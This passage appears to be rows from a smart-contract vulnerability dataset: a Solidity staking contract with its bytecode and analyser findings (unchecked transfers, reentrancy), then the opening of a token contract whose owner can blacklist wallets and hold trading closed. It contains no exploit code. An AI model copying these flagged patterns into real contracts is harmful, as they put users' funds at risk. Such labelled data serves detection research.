*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YfTETHERstaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yftether token contract address
address public constant tokenAddress = 0x94F31aC896c9823D81cf9C2C93feCEeD4923218f;
// reward rate 72.00% per year
uint public constant rewardRate = 7200;
uint public constant rewardInterval = 365 days;
// staking fee 1.50 percent
uint public constant stakingFeeRate = 150;
// unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
uint private constant stakingAndDaoTokens = 5129e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out YFTE from this smart contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress, "Cannot Transfer Out YFTE!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80637b0a47ee116100b8578063bec4de3f1161007c578063bec4de3f1461057b578063c326bf4f14610599578063d578ceab146105f1578063d816c7d51461060f578063f2fde38b1461062d578063f3f91fa01461067157610137565b80637b0a47ee1461046f5780638da5cb5b1461048d57806398896d10146104c15780639d76ea5814610519578063b6b55f251461054d57610137565b8063308feec3116100ff578063308feec314610315578063583d42fd146103335780635ef057be1461038b5780636270cd18146103a95780636a395ccb1461040157610137565b80630f1a64441461013c5780631911cf4a1461015a57806319aa70e7146102bf578063268cab49146102c95780632e1a7d4d146102e7575b600080fd5b6101446106c9565b6040518082815260200191505060405180910390f35b6101906004803603604081101561017057600080fd5b8101908080359060200190929190803590602001909291905050506106d0565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101df5780820151818401526020810190506101c4565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015610221578082015181840152602081019050610206565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015610263578082015181840152602081019050610248565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102a557808201518184015260208101905061028a565b505050509050019850505050505050505060405180910390f35b6102c76109e9565b005b6102d16109f4565b6040518082815260200191505060405180910390f35b610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610a3d565b005b61031d610f82565b6040518082815260200191505060405180910390f35b6103756004803603602081101561034957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f93565b6040518082815260200191505060405180910390f35b610393610fab565b6040518082815260200191505060405180910390f35b6103eb600480360360208110156103bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb0565b6040518082815260200191505060405180910390f35b61046d6004803603606081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc8565b005b610477611188565b6040518082815260200191505060405180910390f35b61049561118e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610503600480360360208110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b2565b6040518082815260200191505060405180910390f35b610521611321565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105796004803603602081101561056357600080fd5b8101908080359060200190929190505050611339565b005b6105836117a9565b6040518082815260200191505060405180910390f35b6105db600480360360208110156105af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b1565b6040518082815260200191505060405180910390f35b6105f96117c9565b6040518082815260200191505060405180910390f35b6106176117cf565b6040518082815260200191505060405180910390f35b61066f6004803603602081101561064357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b6106b36004803603602081101561068757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611923565b6040518082815260200191505060405180910390f35b6203f48081565b6060806060808486106106e257600080fd5b60006106f7878761193b90919063ffffffff16565b905060608167ffffffffffffffff8111801561071257600080fd5b506040519080825280602002602001820160405280156107415781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561075d57600080fd5b5060405190808252806020026020018201604052801561078c5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156107a857600080fd5b506040519080825280602002602001820160405280156107d75781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156107f357600080fd5b506040519080825280602002602001820160405280156108225781602001602082028036833780820191505090505b50905060008b90505b8a8110156109ce57600061084982600261195290919063ffffffff16565b905060006108608e8461193b90919063ffffffff16565b90508187828151811061086f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106108f557fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485828151811061094d57fe5b602002602001018181525050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548482815181106109a557fe5b60200260200101818152505050506109c760018261196c90919063ffffffff16565b905061082b565b50838383839850985098509850505050505092959194509250565b6109f233611988565b565b60006901160b2c7564b284000060015410610a125760009050610a3a565b6000610a336001546901160b2c7564b284000061193b90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f480610b48600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193b90919063ffffffff16565b11610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611f3d6034913960400191505060405180910390fd5b610ba733611988565b6000610bd1612710610bc3603285611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b90506000610be8828461193b90919063ffffffff16565b90507394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8f57600080fd5b505af1158015610ca3573d6000803e3d6000fd5b505050506040513d6020811015610cb957600080fd5b8101908080519060200190929190505050610d3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dc157600080fd5b505af1158015610dd5573d6000803e3d6000fd5b505050506040513d6020811015610deb57600080fd5b8101908080519060200190929190505050610e6e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610ec083600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f17336002611c6690919063ffffffff16565b8015610f6257506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610f7d57610f7b336002611c9690919063ffffffff16565b505b505050565b6000610f8e6002611cc6565b905090565b60056020528060005260406000206000915090505481565b609681565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102057600080fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f43616e6e6f74205472616e73666572204f75742059465445210000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114757600080fd5b505af115801561115b573d6000803e3d6000fd5b505050506040513d602081101561117157600080fd5b810190808051906020019092919050505050505050565b611c2081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111c8826002611c6690919063ffffffff16565b6111d5576000905061131c565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611226576000905061131c565b600061127a600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193b90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006113136127106113056301e133806112f7876112e9611c2089611c1e90919063ffffffff16565b611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b611c4d90919063ffffffff16565b90508093505050505b919050565b7394f31ac896c9823d81cf9c2c93feceed4923218f81565b600081116113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b505050506040513d602081101561147c57600080fd5b81019080805190602001909291905050506114ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61150833611988565b6000611532612710611524609685611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b90506000611549828461193b90919063ffffffff16565b90507394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115f057600080fd5b505af1158015611604573d6000803e3d6000fd5b505050506040513d602081101561161a57600080fd5b810190808051906020019092919050505061169d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b6116ef81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611746336002611c6690919063ffffffff16565b6117a45761175e336002611cdb90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561186657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561194757fe5b818303905092915050565b60006119618360000183611d0b565b60001c905092915050565b60008082840190508381101561197e57fe5b8091505092915050565b6000611993826111b2565b90506000811115611bd6577394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611a2357600080fd5b505af1158015611a37573d6000803e3d6000fd5b505050506040513d6020811015611a4d57600080fd5b8101908080519060200190929190505050611ad0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611b2281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b7a8160015461196c90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611c3d575082848281611c3a57fe5b04145b611c4357fe5b8091505092915050565b600080828481611c5957fe5b0490508091505092915050565b6000611c8e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d8e565b905092915050565b6000611cbe836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611db1565b905092915050565b6000611cd482600001611e99565b9050919050565b6000611d03836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611eaa565b905092915050565b600081836000018054905011611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f1b6022913960400191505060405180910390fd5b826000018281548110611d7b57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611e8d5760006001820390506000600186600001805490500390506000866000018281548110611dfc57fe5b9060005260206000200154905080876000018481548110611e1957fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611e5157fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611e93565b60009150505b92915050565b600081600001805490509050919050565b6000611eb68383611d8e565b611f0f578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611f14565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212207a1746b10c54fd0ffdc81115bac8cdb8ab710de69d3c2bb1f9f00e7b6c1d3b1464736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,387 |
0xEf075bbfD0361cC2FBf41A8Bc4a14e21Ad45551c
|
/**
Twitter - https://twitter.com/Hommiecoin
Website - http://hommiecoin.com
Telegram - https://t.me/hommiecoin
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HommieCoin is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Hommie Coin";//////////////////////////
string private constant _symbol = "HOMMIE";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 6;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 6;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x4baFe7bFfd2C74085b3FA65caA1739720982b4Be);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x642D54dA54C5EdA14Cba4a629682ED7A943b38e9);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000 * 10**9; //.5%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
